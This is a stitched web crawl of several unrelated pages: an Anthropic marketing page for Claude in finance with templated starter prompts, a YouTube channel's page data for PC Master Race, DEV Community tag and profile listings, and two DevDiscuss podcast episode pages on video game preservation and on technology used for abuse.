Ron Lefferts, Co-head, Data and Analytics Prev Prev 0 / 5 Next Next From insight to alpha, faster than ever See how Claude transforms workflows, from due diligence and research to financial analysis. Contact sales Contact sales Contact sales How NBIM transformed the world’s largest sovereign wealth fund with agentic AI How NBIM transformed the world’s largest sovereign wealth fund with agentic AI How NBIM transformed the world’s largest sovereign wealth fund with agentic AI Webinar Webinar Webinar Transforming financial analysis at scale: How BCI uses Claude’s financial analysis solution Transforming financial analysis at scale: How BCI uses Claude’s financial analysis solution Transforming financial analysis at scale: How BCI uses Claude’s financial analysis solution Webinar Webinar Webinar Anthropic's Alexander Bricken and Nick Lin break down Claude for financial services Anthropic's Alexander Bricken and Nick Lin break down Claude for financial services Anthropic's Alexander Bricken and Nick Lin break down Claude for financial services Video Video Video Homepage Homepage Next Next Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Write Button Text Button Text Learn Button Text Button Text Code Button Text Button Text Write Help me develop a unique voice for an audience Hi Claude! Could you help me develop a unique voice for an audience? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Improve my writing style Hi Claude! Could you improve my writing style? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Brainstorm creative ideas Hi Claude! Could you brainstorm creative ideas? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Learn Explain a complex topic simply Hi Claude! Could you explain a complex topic simply? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Help me make sense of these ideas Hi Claude! Could you help me make sense of these ideas? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Prepare for an exam or interview Hi Claude! Could you prepare for an exam or interview? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Code Explain a programming concept Hi Claude! Could you explain a programming concept? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Look over my code and give me tips Hi Claude! Could you look over my code and give me tips? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! Vibe code with me Hi Claude! Could you vibe code with me? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to— like Google Drive, web search, etc.—if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can—an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! More Write case studies This is another test Write grant proposals Hi Claude! Could you write grant proposals? If you need more information from me, ask me 1-2 key questions right away. If you think I should upload any documents that would help you do a better job, let me know. You can use the tools you have access to — like Google Drive, web search, etc. — if they’ll help you better accomplish this task. Do not use analysis tool. Please keep your responses friendly, brief and conversational. Please execute the task as soon as you can - an artifact would be great if it makes sense. If using an artifact, consider what kind of artifact (interactive, visual, checklist, etc.) might be most helpful for this specific task. Thanks for your help! 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https://www.youtube.com/channel/UCqpfJtpeBIV_nr7FH2xrPow?sub_confirmation=1 | PC MASTER RACE - PCMR - YouTube var ytInitialData = {"responseContext":{"serviceTrackingParams":[{"service":"GFEEDBACK","params":[{"key":"route","value":"channel."},{"key":"is_owner","value":"false"},{"key":"is_alc_surface","value":"false"},{"key":"browse_id","value":"UCqpfJtpeBIV_nr7FH2xrPow"},{"key":"browse_id_prefix","value":""},{"key":"logged_in","value":"0"},{"key":"visitor_data","value":"CgtubG1Ec2hPWEdmWSi2jZjLBjIKCgJLUhIEGgAgDw%3D%3D"}]},{"service":"GOOGLE_HELP","params":[{"key":"browse_id","value":"UCqpfJtpeBIV_nr7FH2xrPow"},{"key":"browse_id_prefix","value":""}]},{"service":"CSI","params":[{"key":"c","value":"WEB"},{"key":"cver","value":"2.20260109.01.00"},{"key":"yt_li","value":"0"},{"key":"GetChannelPage_rid","value":"0x9d359d37a5180b3c"}]},{"service":"GUIDED_HELP","params":[{"key":"logged_in","value":"0"}]},{"service":"ECATCHER","params":[{"key":"client.version","value":"2.20260109"},{"key":"client.name","value":"WEB"}]}],"maxAgeSeconds":300,"mainAppWebResponseContext":{"loggedOut":true,"trackingParam":"kx_fmPxhoPZRKBcaswxbrlQc44x7U0O6sUpqsfi_Azl4E9wRgkuswmIBwOcCE59TDtslLKPQ-SS"},"webResponseContextExtensionData":{"webResponseContextPreloadData":{"preloadMessageNames":["pageHeaderRenderer","pageHeaderViewModel","imageBannerViewModel","dynamicTextViewModel","decoratedAvatarViewModel","avatarViewModel","contentMetadataViewModel","flexibleActionsViewModel","buttonViewModel","modalWithTitleAndButtonRenderer","buttonRenderer","descriptionPreviewViewModel","engagementPanelSectionListRenderer","engagementPanelTitleHeaderRenderer","sectionListRenderer","itemSectionRenderer","continuationItemRenderer","attributionViewModel","channelMetadataRenderer","twoColumnBrowseResultsRenderer","tabRenderer","channelVideoPlayerRenderer","shelfRenderer","horizontalListRenderer","gridVideoRenderer","thumbnailOverlayTimeStatusRenderer","thumbnailOverlayToggleButtonRenderer","thumbnailOverlayNowPlayingRenderer","menuRenderer","menuServiceItemRenderer","menuNavigationItemRenderer","unifiedSharePanelRenderer","metadataBadgeRenderer","reelShelfRenderer","shortsLockupViewModel","thumbnailViewModel","reelPlayerOverlayRenderer","sheetViewModel","listViewModel","listItemViewModel","gridChannelRenderer","postRenderer","backstageImageRenderer","commentActionButtonsRenderer","toggleButtonRenderer","hintRenderer","bubbleHintRenderer","expandableTabRenderer","desktopTopbarRenderer","topbarLogoRenderer","fusionSearchboxRenderer","topbarMenuButtonRenderer","multiPageMenuRenderer","hotkeyDialogRenderer","hotkeyDialogSectionRenderer","hotkeyDialogSectionOptionRenderer","voiceSearchDialogRenderer","microformatDataRenderer","confirmDialogRenderer"]},"ytConfigData":{"visitorData":"CgtubG1Ec2hPWEdmWSi2jZjLBjIKCgJLUhIEGgAgDw%3D%3D","rootVisualElementType":3611},"hasDecorated":true}},"contents":{"twoColumnBrowseResultsRenderer":{"tabs":[{"tabRenderer":{"endpoint":{"clickTrackingParams":"CCgQ8JMBGAYiEwi3q6TfkIiSAxUzmVYBHS8tFzjKAQSufkz_","commandMetadata":{"webCommandMetadata":{"url":"/@OfficialPCMR/featured","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCqpfJtpeBIV_nr7FH2xrPow","params":"EghmZWF0dXJlZPIGBAoCMgA%3D","canonicalBaseUrl":"/@OfficialPCMR"}},"title":"홈","selected":true,"content":{"sectionListRenderer":{"contents":[{"itemSectionRenderer":{"contents":[{"channelVideoPlayerRenderer":{"videoId":"CvUJOZFWwNI","title":{"runs":[{"text":"The Lian Li O11 Vision Compact, PCMR collab case - Let's build the best gaming PC in 2024!","navigationEndpoint":{"clickTrackingParams":"CNcCELsvGAAiEwi3q6TfkIiSAxUzmVYBHS8tFzjKAQSufkz_","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=CvUJOZFWwNI","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"CvUJOZFWwNI","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr5---sn-ab02a0nfpgxapox-bh2es.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=0af509399156c0d2\u0026ip=1.208.108.242\u0026initcwndbps=3063750\u0026mt=1768293891\u0026oweuc=\u0026pxtags=Cg4KAnR4Egg1MTY2NjQ2Ng\u0026rxtags=Cg4KAnR4Egg1MTY2NjQ2Mw%2CCg4KAnR4Egg1MTY2NjQ2NA%2CCg4KAnR4Egg1MTY2NjQ2NQ%2CCg4KAnR4Egg1MTY2NjQ2Ng%2CCg4KAnR4Egg1MTY2NjQ2Nw"}}}}}}],"accessibility":{"accessibilityData":{"label":"The Lian Li O11 Vision Compact, PCMR collab case - Let's build the best gaming PC in 2024! 9분 3초"}}},"description":{"runs":[{"text":"The Lian Li O11 Vision Compact has arrived! The brand new iteration of the collaboration between Lian Li and PC Master Race! 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https://dev.to/t/productivity/page/9 | Productivity Page 9 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Productivity Follow Hide Productivity includes tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Create Post submission guidelines Please check if your article contains information or discussion bases about productivity. From posts with the tag #productivity we expect tips on how to use tools and software, process optimization, useful references, experience, and mindstate optimization. Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 6 7 8 9 10 11 12 13 14 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Hello everyone! Muhammad Zaid 4562-FOC/BSSE/F22 Muhammad Zaid 4562-FOC/BSSE/F22 Muhammad Zaid 4562-FOC/BSSE/F22 Follow Jan 5 Hello everyone! # webdev # programming # productivity Comments Add Comment 1 min read aliasctl - Modern Bash Alias Manager with Beautiful UI ITpraktika.com ITpraktika.com ITpraktika.com Follow Jan 5 aliasctl - Modern Bash Alias Manager with Beautiful UI # bash # linux # terminal # productivity Comments Add Comment 4 min read I've been building AI document processing systems for insurance companies for 3 years. Here's what actually works Melek Messoussi Melek Messoussi Melek Messoussi Follow Jan 5 I've been building AI document processing systems for insurance companies for 3 years. Here's what actually works # ai # datascience # productivity Comments 1 comment 2 min read What are your goals for the week? or Year #160 Chris Jarvis Chris Jarvis Chris Jarvis Follow Jan 5 What are your goals for the week? or Year #160 # discuss # devjournal # productivity Comments Add Comment 2 min read Does this solve a real pain? Client updates timeline + automatic invoice nudges Marks Marks Marks Follow Jan 5 Does this solve a real pain? Client updates timeline + automatic invoice nudges # discuss # productivity # saas # showdev Comments Add Comment 2 min read Goodbye SEO, Hello GEO: Why your stack needs an /llms.txt file in 2026 Marius Gherasim Marius Gherasim Marius Gherasim Follow Jan 6 Goodbye SEO, Hello GEO: Why your stack needs an /llms.txt file in 2026 # webdev # ai # seo # productivity Comments Add Comment 2 min read I Stopped Relying on Motivation and Finally Became Consistent gijo joseph gijo joseph gijo joseph Follow Jan 5 I Stopped Relying on Motivation and Finally Became Consistent # ai # buildinpublic # productivity # writing Comments Add Comment 1 min read How 4 Japanese Concepts Help Me Build Techn0tz Consistently manjushaps manjushaps manjushaps Follow Jan 5 How 4 Japanese Concepts Help Me Build Techn0tz Consistently # writing # mindset # building # productivity Comments Add Comment 1 min read A Simple AI Checklist Teams Should Follow Before Using Any AI Tool Sunny Ahluwalia Sunny Ahluwalia Sunny Ahluwalia Follow Jan 5 A Simple AI Checklist Teams Should Follow Before Using Any AI Tool # webdev # ai # productivity # cybersecurity Comments Add Comment 1 min read 🐍 Python Tiny Tools: Practical Automation, Learning & 200+ Project Ideas Mate Technologies Mate Technologies Mate Technologies Follow Jan 5 🐍 Python Tiny Tools: Practical Automation, Learning & 200+ Project Ideas # python # automation # productivity # opensource Comments Add Comment 2 min read Enhancing Todo Tree in VS Code Janko Janko Janko Follow Jan 4 Enhancing Todo Tree in VS Code # vscode # todotree # productivity Comments Add Comment 2 min read STOP DOING KT SESSIONS Luke Mueller Luke Mueller Luke Mueller Follow Jan 6 STOP DOING KT SESSIONS # webdev # programming # career # productivity Comments Add Comment 2 min read Stop Hardcoding Dashboards: Why Your Stack Needs a Proper BI Layer Best Tech Company Best Tech Company Best Tech Company Follow Jan 6 Stop Hardcoding Dashboards: Why Your Stack Needs a Proper BI Layer # architecture # data # productivity Comments Add Comment 2 min read The 56% Question: Why Most Developers Still Don't Use AI Coding Tools Parteek Jain Parteek Jain Parteek Jain Follow Jan 6 The 56% Question: Why Most Developers Still Don't Use AI Coding Tools # discuss # programming # ai # productivity Comments Add Comment 4 min read We’re Launching Vizora (Private Beta) — Paste Your DB Schema, Understand It Instantly Rushikesh Bodakhe Rushikesh Bodakhe Rushikesh Bodakhe Follow Jan 10 We’re Launching Vizora (Private Beta) — Paste Your DB Schema, Understand It Instantly # showdev # database # productivity # tooling 1 reaction Comments Add Comment 2 min read Why Familiarity Isn’t Understanding Memory Rush Memory Rush Memory Rush Follow Jan 5 Why Familiarity Isn’t Understanding # beginners # learning # productivity Comments Add Comment 3 min read Why React Native is My Go-To Choice for Production Apps 🚀 Habiba Shahidi Habiba Shahidi Habiba Shahidi Follow Jan 6 Why React Native is My Go-To Choice for Production Apps 🚀 # react # architecture # programming # productivity Comments Add Comment 2 min read 🚀 Neural Flow – A Productivity App Built to Help You Stay in the Zone neural flow neural flow neural flow Follow Jan 6 🚀 Neural Flow – A Productivity App Built to Help You Stay in the Zone # ai # productivity Comments Add Comment 1 min read Shadow AI: The Silent AI Risk Inside Companies — And How Leaders Should Respond Sunny Ahluwalia Sunny Ahluwalia Sunny Ahluwalia Follow Jan 5 Shadow AI: The Silent AI Risk Inside Companies — And How Leaders Should Respond # discuss # ai # webdev # productivity Comments Add Comment 1 min read Dustin Umphress: The Lost Art of Pondering Dustin Umphress Dustin Umphress Dustin Umphress Follow Jan 4 Dustin Umphress: The Lost Art of Pondering # discuss # ai # productivity Comments Add Comment 2 min read Why Goals Matter More Than Even More Working Hours Thomas Delfing Thomas Delfing Thomas Delfing Follow Jan 5 Why Goals Matter More Than Even More Working Hours # productivity # leadership # management # devjournal 5 reactions Comments Add Comment 4 min read Stripe checkout: how to add extra columns like tips and how the discount off is calculated Sahil kashyap Sahil kashyap Sahil kashyap Follow Jan 5 Stripe checkout: how to add extra columns like tips and how the discount off is calculated # discuss # productivity # career Comments Add Comment 1 min read How to Use Git Unstash Without Losing Work Yeahia Sarker Yeahia Sarker Yeahia Sarker Follow Jan 5 How to Use Git Unstash Without Losing Work # git # productivity # tutorial Comments Add Comment 2 min read Agentic AI: How Autonomous AI Agents Are Transforming the Future of Work cs vishnukumar cs vishnukumar cs vishnukumar Follow Jan 5 Agentic AI: How Autonomous AI Agents Are Transforming the Future of Work # agents # ai # automation # productivity Comments Add Comment 3 min read I Built 30+ Developer Tools in One App (Because I Was Tired of Opening 47 Browser Tabs) 🤦♂️ Udit Sharma Udit Sharma Udit Sharma Follow Jan 4 I Built 30+ Developer Tools in One App (Because I Was Tired of Opening 47 Browser Tabs) 🤦♂️ # showdev # productivity # tooling # webdev Comments Add Comment 5 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/winlanem | WinLanEm - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions WinLanEm 404 bio not found Joined Joined on Jan 7, 2026 github website More info about @winlanem Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Post 1 post published Comment 1 comment written Tag 0 tags followed Stop forgetting your work: I built an AI Career Tracker (GitHub + Jira + Voice) WinLanEm WinLanEm WinLanEm Follow Jan 7 Stop forgetting your work: I built an AI Career Tracker (GitHub + Jira + Voice) # showdev # career # ai # webdev 2 reactions Comments 2 comments 2 min read Want to connect with WinLanEm? Create an account to connect with WinLanEm. You can also sign in below to proceed if you already have an account. Create Account Already have an account? Sign in loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://hmpljs.forem.com/t/architecture | Architecture - HMPL.js Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account HMPL.js Forem Close Architecture Follow Hide The fundamental structures of a software system. Create Post Older #architecture posts 1 2 3 4 5 6 7 8 9 … 75 … 387 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV HMPL.js Forem — For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . HMPL.js Forem © 2016 - 2026. Powerful templates, minimal JS Log in Create account | 2026-01-13T08:47:54 |
https://dev.to/devdiscuss/s8-e3-the-importance-of-video-game-archival-preservation-and-curation | S8:E3 - The Importance of Video Game Archival, Preservation, and Curation - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DevDiscuss Follow S8:E3 - The Importance of Video Game Archival, Preservation, and Curation Feb 23 '22 play In this episode, we talk about video game archival, preservation, and curation with Jason Scott, co-founder of Archive Team and archivist for the Internet Arcade, and Paola Antonelli, senior curator of architecture and design and director of research and development at the Museum of Modern Art. Show Notes DevNews (sponsor) Duckly (sponsor) CodeNewbie (sponsor) Compiler (DevDiscuss) (sponsor) Scout APM (DevDiscuss) (sponsor) Internet Arcade : Free Software Archive Team Video Games: 14 in the Collection, for Starters List of video games in the Museum of Modern Art Jason Scott Jason Scott is the co-founder of Archive Team who speaks passionately on the never-ending and critical saving of online history. He has been a video game art director, unix administrator, documentary filmmaker and public raconteur. Paola Antonelli Paola Antonelli is a senior curator in the Department of Architecture and Design, and Director of Research and Development at MoMA. Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://dev.to/devdiscuss/s9e7-how-technology-is-used-as-a-tool-for-abusecoercive-control | S9:E7 - How Technology is Used as a Tool for Abuse/Coercive Control - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DevDiscuss Follow S9:E7 - How Technology is Used as a Tool for Abuse/Coercive Control Jun 22 '22 play In this episode, we talk about how technology is being used as a tool for abuse and coercive control with Bindu Oommen Fernandes, executive director at Freedom Forward, and Sony Mital, community engagement lead at Narika. We discuss possible warning signs of abuse to keep an eye out for, tactics abusers use on their victims, and the different ways technology is also helping survivors overcome these circumstances. Show Notes DevNews (sponsor) CodeNewbie (sponsor) DataStax (sponsor) Cockroach Labs (DevDiscuss) (sponsor) Swimm (DevDiscuss) (sponsor) Stellar (sponsor) Narika Freedom Forward Sonya Mital Sonya is Community Engagement Lead at Narika where she raises awareness on domestic violence, technology abuse, healthy relationships and special concerns for immigrant & South Asian populations. Bindu Oommen Fernandes Bindu Fernandes is executive director at Freedom Forward, a bay area non profit that is working to prevent the commercial sexual exploitation of youth in San Francisco by transforming the systems that too often contribute to their exploitation. Prior to this, she led an organization serving survivors of domestic violence and also worked at Google for over a decade leading policy and diversity & inclusion efforts for global teams. Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
